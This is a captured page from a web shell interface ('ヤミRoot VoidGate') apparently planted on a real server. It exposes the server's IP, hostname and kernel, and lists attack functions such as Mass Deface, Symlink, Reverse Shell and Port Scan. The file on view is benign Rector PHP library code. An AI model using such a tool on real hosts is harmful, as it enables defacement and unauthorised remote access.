ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Comments
/
NodeDocBlock
/
Viewing: DocBlockUpdater.php
<?php declare (strict_types=1); namespace Rector\Comments\NodeDocBlock; use PhpParser\Comment; use PhpParser\Comment\Doc; use PhpParser\Node; use Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo; use Rector\BetterPhpDocParser\Printer\PhpDocInfoPrinter; use Rector\NodeTypeResolver\Node\AttributeKey; final class DocBlockUpdater { /** * @readonly * @var \Rector\BetterPhpDocParser\Printer\PhpDocInfoPrinter */ private $phpDocInfoPrinter; public function __construct(PhpDocInfoPrinter $phpDocInfoPrinter) { $this->phpDocInfoPrinter = $phpDocInfoPrinter; } public function updateRefactoredNodeWithPhpDocInfo(Node $node) : void { // nothing to change? don't save it $phpDocInfo = $node->getAttribute(AttributeKey::PHP_DOC_INFO); if (!$phpDocInfo instanceof PhpDocInfo) { return; } $phpDocNode = $phpDocInfo->getPhpDocNode(); if ($phpDocNode->children === []) { $this->setCommentsAttribute($node); return; } $printedPhpDoc = $this->printPhpDocInfoToString($phpDocInfo); $node->setDocComment(new Doc($printedPhpDoc)); } private function setCommentsAttribute(Node $node) : void { $comments = \array_filter($node->getComments(), static function (Comment $comment) : bool { return !$comment instanceof Doc; }); $node->setAttribute(AttributeKey::COMMENTS, $comments); } private function printPhpDocInfoToString(PhpDocInfo $phpDocInfo) : string { if ($phpDocInfo->isNewNode()) { return $this->phpDocInfoPrinter->printNew($phpDocInfo); } return $this->phpDocInfoPrinter->printFormatPreserving($phpDocInfo); } }
Coded With 💗 by
0x6ick